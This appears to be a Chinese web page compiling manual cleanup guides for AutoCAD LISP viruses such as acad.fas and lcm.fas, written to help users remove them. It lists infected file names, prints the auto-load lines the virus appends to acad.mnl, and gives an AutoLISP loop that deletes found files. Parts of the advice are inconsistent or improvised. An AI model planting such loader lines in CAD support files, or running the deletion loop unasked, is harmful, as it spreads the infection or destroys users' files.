常见AutoCAD病毒(acad.fas、acad.lsp)清除方法 acad.fas、acad.lsp这两种病毒是最常见的CAD病毒了,并且往往同时出现。由于其本身对系统并不具备危害性,仅仅是恶作剧程序罢了,因此大多数防病毒软件对它们不起作用,下面介绍手动删除方法。 第一步:查找硬盘、U盘内的 acad.fas、lcm.fas、acad.lsp、acadapp.lsp、acadappp.lsp 五个文件并删除干净(查找前请将显示隐藏和系统文件打开,这五个文件不一定同时出现。强烈建议使用Total Commander文件管理器查找)。第二步:查找acad.mnl文件(这个文件通常有两个,一个在“c:/Program Files/AutoCAD****/UserDataCache/Support/”文件夹下,另一个在 “c:/Documents and Settings/你的用户名/Application Data/Autodesk/AutoCAD****/R****/chs/Support/”文件夹下。目前病毒仅修改第一个acad.mnl文件)。 打开acad.mnl文件,在文件末尾找到以下三个语句的组合并删除(这三个语句组合不一定同时出现),然后保存文件。 (if (null stol) (load "lcm" "")) (princ) (load "acadapp.lsp") (princ) (load "acadappp.lsp") (princ) 附录: 有关该CAD病毒 acad.fas 的说明: 1.它对电脑是没有任意的危害性! 2.它在8:00到18:00这段时间,对CAD没有任何影响的! 它的副作用就是: 你的CAD在启动时会弹出一个显示时间的对话框 如果时间不在8:00至18:00之间,还有可能伴随"移动"命令改变等情况。 在这段时间内的临时解决方案为: 将电脑系统时间调整8:00就行了! (有必时请关了CAD后再打开CAD) 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?:(setvar "mtexted" ".")

acad.fas病毒彻底处理的方法

acad.fas病毒彻底处理的方法 一种CAD病毒,首先解释下病毒acad.fas: 1、它对电脑是没有任意的危害性! 2、它在8:00到18:00这段时间,对CAD没有任何影响的!它唯一的副作用就是: 你的CAD在启动时会弹出一个显示时间的对话框,如果时间时不在8:00至18:00 之间,还有可能伴随"移动"命令改变~等情况,在这时间内的临时解决方案为: 将电脑系统时间调整8:00就行了!(有必时请关了CAD后再打开CAD彻底的解决方案为: 主要是acad.fas程序文件,清除方法是删除干净acad.fas与Icm.fas两个文件!,如果删除不净下次启动是还是会生成,务必清理净! 常见问题是目录下(以及子目录下)的acad.fas 与Icm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 注意:现有网上CAD病毒软件均无法查杀。只能手工处理。最好重装系统。 这是一种病毒,但不用重装,可以杀 一、彻底的解决方案1:(主要是acad.fas程序文件) 1、清除方法是删除干净acad.fas与Icm.fas两个文件!如果删除不净下次启动是还是会生成,务必清理干净!同时搜acad.lsp和acadapp.lsp删掉 2、进入“C: 用户名\Application Data\Autodesk\AutoCAD 2005\R16.1\chs\support" 如果有acad.fas,删除,打开acad.mnl,末尾如有不明代码,删除。

清除步骤: 1.退出CAD。 2?全盘搜索acadapq.*、acadappp.*、acaddoc.*文件,然后彻底删除上述文件。 注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾1 选“搜索系统文件夹”搜“索隐藏的文件和文件夹”搜“索子文件夹”。 如果搜出的文件无法删除,则先清空回收站,再搜索删除。 注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。 3. 查看C盘根目录下是否有boot.dat文件,如有,则将其删除。 4. 进入用户名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support 目录,用记事本打开该目录下的所有*.mnl 文件,手动删除与附件 1 相同的代码(一般都在文件末尾),然后保存。并将修改后的所有*.mnl 文件属性设置为“只读”。 5. 进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件按步骤4 方法处理。记得将其属性设为“只读”。 6. 如果本机安装有多个版本的CAD,都需按上述步骤检查一次。 2

CAD病毒处理方法(党不会亏待你~~)

CAD病毒-党不会亏待你病毒删除方法 中毒特征: 打开DWG文件显示: 程序作者QQ:252545152 现在时间是:XX点XX分了的哦! 好好干了啦!党是不会亏待你的! 老板的眼睛是雪亮的啦! 手工清除方法:首先请关闭CAD后,再搜索所有磁盘内的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件,(记住一定要搜索完所有的磁盘,如C、D、E、F、G等等。)然后将所有搜索到的acad.fas、acad.sys、acad.ini、lcm.fas、dwgrun.exe、dwgrun.bat、winsys.ini、winfas.ini文件全部删除。 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))注意:上面红字一个字都不能少哦!这样就行了! 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?: (setvar "mtexted" ".") 还有今天上网我看到:听说可以杀这个病毒的~有空大家试试 https://www.360docs.net/doc/7415900407.html,/read.php?tid=581341

专杀没有试用过.据说使用后依然需要输入上面红色部分的命令才可以. 据说直接输入上面红色部分命令就可以了.因为本人没有碰到过.只是看到同事是这样处理的所以我个人意见是删除那些文件后,再输入红色命令.以免将病毒传染出去..

相关主题
相关文档
最新文档